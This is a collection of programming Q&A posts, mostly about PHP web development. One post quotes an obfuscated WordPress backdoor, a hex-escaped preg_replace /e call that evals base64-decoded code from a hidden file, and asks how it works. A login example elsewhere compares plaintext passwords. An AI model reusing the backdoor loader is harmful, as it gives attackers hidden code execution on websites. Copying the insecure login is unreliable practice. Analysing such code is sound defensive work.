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  • I'm still learning OOP. Any tips on staying unbiased and pragmatic?

    - by marcdev
    I keep reading about defficiencies and issues with languages. Specifically, I'm learning PHP and Javascript, but I see it everywhere. This question arose while reading Javascript: The Good Parts and PHP Objects, Patterns and Practice. While understanding and avoiding easy pitfalls, is there a way I can learn the fundamentals of OOP and discover solid programming practices without overlooking important areas (or simply becoming jaded)? I'm sure I'll have plenty of opportunity to learn from mistakes!

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  • Pass entire $_POST variable to popup

    - by Brian
    I have a PHP webpage that takes which accepts a rather large POST array. I have a button on the page that opens a PHP popup window. Is there a convenient way to pass the entire $_POST array to the popup? Edit: It is an entirely different page. I open it with JavaScript: window.open

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  • login not working when changing from mysql to mysqli

    - by user1438647
    I have a code below where it logs a teacher in by matching it's username and password in the database, if correct, then log in, if incorrect, then display a message. <?php session_start(); $username="xxx"; $password="xxx"; $database="mobile_app"; $link = mysqli_connect('localhost',$username,$password); mysqli_select_db($link, $database) or die( "Unable to select database"); foreach (array('teacherusername','teacherpassword') as $varname) { $$varname = (isset($_POST[$varname])) ? $_POST[$varname] : ''; } ?> <form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post" id="teachLoginForm"> <p>Username</p><p><input type="text" name="teacherusername" /></p> <!-- Enter Teacher Username--> <p>Password</p><p><input type="password" name="teacherpassword" /></p> <!-- Enter Teacher Password--> <p><input id="loginSubmit" type="submit" value="Login" name="submit" /></p> </form> <?php if (isset($_POST['submit'])) { $query = " SELECT * FROM Teacher t WHERE (t.TeacherUsername = '".mysqli_real_escape_string($teacherusername)."') AND (t.TeacherPassword = '".mysqli_real_escape_string($teacherpassword)."') "; $result = mysqli_query($link, $query); $num = mysqli_num_rows($result); $loged = false; while($row = mysqli_fetch_array($result)) { if ($_POST['teacherusername'] == ($row['TeacherUsername']) && $_POST['teacherpassword'] == ($row['TeacherPassword'])) { $loged = true; } $_SESSION['teacherforename'] = $row['TeacherForename']; $_SESSION['teachersurname'] = $row['TeacherSurname']; $_SESSION['teacherusername'] = $row['TeacherUsername']; } if ($loged == true){ header( 'Location: menu.php' ) ; }else{ echo "The Username or Password that you Entered is not Valid. Try Entering it Again."; } mysqli_close($link); } ?> Now the problem is that even if the teacher has entered in the correct username and password, it still doesn't let the teacher log in. When the code above was the old mysql() code, it worked fine as teacher was able to login when username and password match, but when trying to change the code into mysqli then it causes login to not work even though username and password match. What am I doing wrong?

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  • Most effective way working with multiple languages

    - by Industrial
    Hi! I am currently working with a codeigniter PHP based application and have come to the point where it's about to go off with multiple languages. Is codeigniters own language class the most effective way to handle languages? Is there any specific language-tools/libraries that are commonly used in PHP apps? Thanks!

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  • How is the result of openssl_sign() encoded?

    - by Bozho
    The docs about openssl_sign() say that the signature is returned in the passed string argument. My question is - how is it encoded? Base64, Hex-string, anything else? I don't have php installed and I have to use this PHP code I was given simply in order to verify whether my Java implementation is correct, so don't ask me "have you tried it" ;)

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  • Why is the page still caching even after the no-cache headers have been sent?

    - by Matthew Grasinger
    I've done a ton of research on this and have asked many people with help and still no success. Here are the details... I'm involved in developing a website that pulls data from various data files, combines them in a temp .csv file, and then is graphed using a popular graphing library: dygraphs. The bulk of the website is written in PHP. The parameters that determine the data that is graphed are stored in the users session, the .csv is named after the users session and available for download, and then the .csv file is written in a script that passes it to the dygraphs object. And we've found, even with the no-cache headers sent: header("Cache-Control: no-cache, must-revalidate"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); Many users experience in the middle of a session, (if enough different graphs are generated) the page displaying an older, static rendering of the page (data they had graphed earlier in the session) as if it were cached and loaded instead of getting a new request. It only gets weirder though: I've checked using developer tools in both Firefox and Chrome and both browsers are receiving the no-cache headers just fine; Even when the problem occurs if you view the page source, the source is the correct content (a table/legend is also dynamically created using php, the source shows the correct table, but what is rendered is older content); the page begins to render correctly until the graph is about to be display, and then shows the older content; the older content displays as if it were a completely static overlay--the cached graph does not have the same dynamic features (roll over data point display, zoom and pan, etc.) And it is as if the correct page were somewhere beneath it (the download button for the csv file moves depending on how large the table is. The older, static page does nothing if you click the download .csv button, but if you can manage to find the one in the page beneath it you can click and still download the .csv. The data in the .csv is correct) It is one of the strangest things I've seen in development thus far. Some other relevant facts are that all the problems I've personally experience occurred while I was using Chrome. Non of these symptoms have been reported by Firefox users. IE users have had the same problems (IE users are forced to use chrome frame). I'm at my wits end at this point. We've sent the php headers; we've tried setting the cache profile for php on IIS as "DisableCache" (or whatever); we've tried sending a random query string to the results page; we've tried all the appropriate meta tags--all with no success.

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  • Script to parse emails for attachments

    - by Swanny
    I am looking for a way to monitor a Linux mbox email account, when an email arrives I would like to download an attachment from the email and save the attachment (CSV file) so that it may be used by a PHP script. What would be the best way of going about this? I have looked at PHP's IMAP functions but this does not appear to be the most appropriate method when a simple bash script may be all that is required?

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  • Session Regeneration

    - by slier
    Hi guys I got some confusion with session handling in php Ok i know how to regenerate new session id in php by using session_regenerate_id(); The problem is i dont know why i should regenerate new session id I been goggling for some time and up to no avail No one explain why i need to generate new session id Can someone explain why i need to regenerate new session id? Thx in advance

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  • Download a file+

    - by Martin
    Hi, First PHP project and I'm stuck! I wish to allow users to click a button or a link and download a file. However, my PHP must first perform some tasks, choose the right file, record the download event in a db etc. This I can do, but how do I then send the file as a response to the user's click? Thanks for any help.

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  • cut text after (x) amount of characters

    - by Blackbird
    This is in wordpress (not sure that makes a difference) This bit of php outputs the post title <?php echo $data['nameofpost']; ?> It's simple text which can be anywhere up to 100 chars long. What i'd like is if the chars outputted are over 20 long to display '...' or simply nothing at all. Thanks

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  • empty() doesn't work with codeigniter input class

    - by BabyAzerty
    This is really weird. Whenever I call something like if(empty($this->input->post("foo")){//blabla} The whole PHP is "down" and I get a blank page from the website (even when I don't pass through this empty(input) line). I know this is not the right method and it is stupid, I change the code to if(!$this->input->post("foo")){//blabla} Better I guess ? Seriously, how come the empty(input) breaks down the entire PHP page ? (I can't get any echo "something").

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  • Call to undefined function apache_request_headers()

    - by Rob
    I've just switched my scripts to a different server. On the previous server this worked flawlessly, and now that I've switched them to a different server, I can't understand the problem. I'm not sure it would help, but here's the relevant code. $headers = apache_request_headers(); PHP Version is: PHP 5.3.2 Any help would be appreciated.

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  • Intellitrace bug causes &ldquo;Operation could destabilize the runtime&rdquo; exception

    - by Magnus Karlsson
    We cant use it when we use simplemembership to handle external authorizations.   Server Error in '/' Application. Operation could destabilize the runtime. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.Security.VerificationException: Operation could destabilize the runtime. Source Error: An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. Stack Trace: [VerificationException: Operation could destabilize the runtime.] DotNetOpenAuth.OpenId.Messages.IndirectSignedResponse.GetSignedMessageParts(Channel channel) +943 DotNetOpenAuth.OpenId.ChannelElements.ExtensionsBindingElement.GetExtensionsDictionary(IProtocolMessage message, Boolean ignoreUnsigned) +282 DotNetOpenAuth.OpenId.ChannelElements.<GetExtensions>d__a.MoveNext() +279 DotNetOpenAuth.OpenId.ChannelElements.ExtensionsBindingElement.ProcessIncomingMessage(IProtocolMessage message) +594 DotNetOpenAuth.Messaging.Channel.ProcessIncomingMessage(IProtocolMessage message) +933 DotNetOpenAuth.OpenId.ChannelElements.OpenIdChannel.ProcessIncomingMessage(IProtocolMessage message) +326 DotNetOpenAuth.Messaging.Channel.ReadFromRequest(HttpRequestBase httpRequest) +1343 DotNetOpenAuth.OpenId.RelyingParty.OpenIdRelyingParty.GetResponse(HttpRequestBase httpRequestInfo) +241 DotNetOpenAuth.OpenId.RelyingParty.OpenIdRelyingParty.GetResponse() +361 DotNetOpenAuth.AspNet.Clients.OpenIdClient.VerifyAuthentication(HttpContextBase context) +136 DotNetOpenAuth.AspNet.OpenAuthSecurityManager.VerifyAuthentication(String returnUrl) +984 Microsoft.Web.WebPages.OAuth.OAuthWebSecurity.VerifyAuthenticationCore(HttpContextBase context, String returnUrl) +333 Microsoft.Web.WebPages.OAuth.OAuthWebSecurity.VerifyAuthentication(String returnUrl) +192 PrioMvcWebRole.Controllers.AccountController.ExternalLoginCallback(String returnUrl) in c:hiddenforyou lambda_method(Closure , ControllerBase , Object[] ) +127 System.Web.Mvc.ReflectedActionDescriptor.Execute(ControllerContext controllerContext, IDictionary`2 parameters) +250 System.Web.Mvc.ControllerActionInvoker.InvokeActionMethod(ControllerContext controllerContext, ActionDescriptor actionDescriptor, IDictionary`2 parameters) +39 System.Web.Mvc.Async.<>c__DisplayClass39.<BeginInvokeActionMethodWithFilters>b__33() +87 System.Web.Mvc.Async.<>c__DisplayClass4f.<InvokeActionMethodFilterAsynchronously>b__49() +439 System.Web.Mvc.Async.<>c__DisplayClass4f.<InvokeActionMethodFilterAsynchronously>b__49() +439 System.Web.Mvc.Async.<>c__DisplayClass37.<BeginInvokeActionMethodWithFilters>b__36(IAsyncResult asyncResult) +15 System.Web.Mvc.Async.<>c__DisplayClass2a.<BeginInvokeAction>b__20() +34 System.Web.Mvc.Async.<>c__DisplayClass25.<BeginInvokeAction>b__22(IAsyncResult asyncResult) +221 System.Web.Mvc.<>c__DisplayClass1d.<BeginExecuteCore>b__18(IAsyncResult asyncResult) +28 System.Web.Mvc.Async.<>c__DisplayClass4.<MakeVoidDelegate>b__3(IAsyncResult ar) +15 System.Web.Mvc.Controller.EndExecuteCore(IAsyncResult asyncResult) +42 System.Web.Mvc.Async.<>c__DisplayClass4.<MakeVoidDelegate>b__3(IAsyncResult ar) +15 System.Web.Mvc.<>c__DisplayClass8.<BeginProcessRequest>b__3(IAsyncResult asyncResult) +42 System.Web.Mvc.Async.<>c__DisplayClass4.<MakeVoidDelegate>b__3(IAsyncResult ar) +15 System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +523 System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +176 Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.17929

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  • Basic web architecture : Perl -> PHP

    - by Sunny Jim
    This is an architecture question. If there is a better forum, please redirect me. Apologies in advance. Essentially every website is built around a relational database, right? When a user uploads form data, that data is stored in a table. The problem is that the table structure(s) need to be modified whenever the website form is modified. Although I understand that modern web frameworks work around this problem by automatically building forms based on the table structure. For the last 20 years, I have been building websites using Perl. When I first encountered this problem, the easiest solution was to save serialized Perl objects as data BLOBS. After XML's introduction, this solution worked even better because XML is so effective for representing arbitrary data. This approach is consistent with the original Perl principles of Hubris, Laziness, and Impatience and I'm pretty committed to it. Obviously, the biggest drawback is that this solution locks me into the Perl interpreter. So instead, I've just completed a prototype of a universal RDB table. The prototype is written in Perl but porting it to PHP will be a good chance to develop those skills. The principal is based on the XML::Dumper module, which converts arbitrary Perl data structures into uniform XML. With my approach, each XML node is stored as a table record. I underestimated this undertaking and rolled something up myself. But the effort allows me to discuss the basic design instead of implementation details. As mentioned, I'm pretty committed to this approach of using flexible data structures. It's been successfully deployed on many websites, large, and complex. But are there any drawbacks I've overlooked? I rolled my own. Are other people taking a similar approach to their data? What kinds of solutions are available? I have not abandoned my dream of eventually contributing something useful to the worldwide community. In order to proceed, the next step would be peer review. How does one pursue that effort? Thanks! -Jim

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  • Uploadify Flash Uploader and Random UPLOAD_ERR_CANT_WRITE errors

    - by dcneiner
    I am using Uploadify to provide progress bar support for file uploads on a PHP app I built. It works perfectly for a few uploads,then every few uploads it fails and the data from the $_FILES array reveals an UPLOAD_ERR_CANT_WRITE error. (Error code 7). I ran Paros proxy between my browser and the server to see the difference between a passing and failing request. The only difference was the content separator for the multi-part post which changes every time. I would conclude this was fully a server error, except with a plain jane form, I cannot reproduce the error. I am not a server guy, so please let me know what information is needed to troubleshoot this and I will update the question with those details. I did place these lines in the .htaccess, but to know avail. The site is hosted on Rackspace Cloudsites so my configuration options are limited: <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule> php_value upload_max_filesize 10M php_value post_max_size 10M php_value max_execution_time 200 php_value max_input_time 200

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  • Short POST data in HTTP

    - by Matt
    We're hosting a customer's Debian Linux web server. It's running a PHP based web application. The server is sitting behind our firewall with it's own virtual interface and port 80 is forwarded internally to a machine sitting in the DMZ. The issue we're having is that when data is posted to the server it seems to be being cut short for some users. It's reproducable for some users on the same box. But the same user sending the same data on the same lan on another PC it works. The data gets cut to around 1140 bytes I'm told. Any idea why this might be happening? The customer is blaming our firewall, but then surely we'd have issues with other services. I'm suspecting it's a problem with the website itself. Suggestions on how to isolate the problem would be of help. Our firewall is Astaro. EDIT: A customer has set the ethernet frame size temporarily to 500bytes on the server. This made it work for now! I know some of the customers are using an internet provider that runs PPPoE

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  • Easyphp Web Setup

    - by Dominique
    I've tried to setup an EasyPHP in local and make it visible from the Web via DynDNS, which I've already successed many times before, but now this just doesn't work, maybe I've forgotten something... *The "server" is a common workstation. Here is what I have done : 1) Installed EasyPhp (with a index.php/html file in WWW folder) 2) Changed the port in the config to port 80 3) Forwarded port 80 to the server IP in my router configuration 4) Added the server to the router DMZ *Also tried removing antivirus/firewall I've installed PortListener, pointed it on port 80, and when I access "myname.dyndns.com" it says Client connected GET / HTTP/1.1 Host: xyz.dyndns-remote.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive So the server is accessible via Web, receive the connection successfully, but in my browser it says that the connection failed and show nothing...

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  • How do I decode this WordPress hack?

    - by Dennis Wurster
    I found an offending string in a client's WordPress-powered website, and I just want to know what it does. @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75"); Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.

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  • Remote Sending of Emails via SMTP/EXIM Issue

    - by Christian Noel
    I have been encountering a problem when sending messages via EXIM. Here is the scenario: I have 2 servers lets just say host1.com = where all my apps and programs are hosted. host2.com = is another server which handles some apps but is also my smtp mail server. whm and cpanel are installed in both hosts as well as exim. right now, messages are being sent out as [email protected] to clients. host1.com uses the [email protected] so that it can send messages outbound as well. here's the problem, after a few hours from a fresh reboot of host1.com, sending messages from host1.com is no longer possible because i encounter an error that states: system/vendor/swift/Swift/Connection/SMTP.php [309]: The SMTP connection failed to start [tls://mail.host2.com]: fsockopen returned Error Number 110 and Error String 'Connection timed out'` also note that this was working fine earlier (like 10 hours ago) but then it suddenly fails. everytime i restart the host1.com then sending messages will work again. i have checked logs and traces but to no avail the only means of fixing this problem is restarting host1.com.

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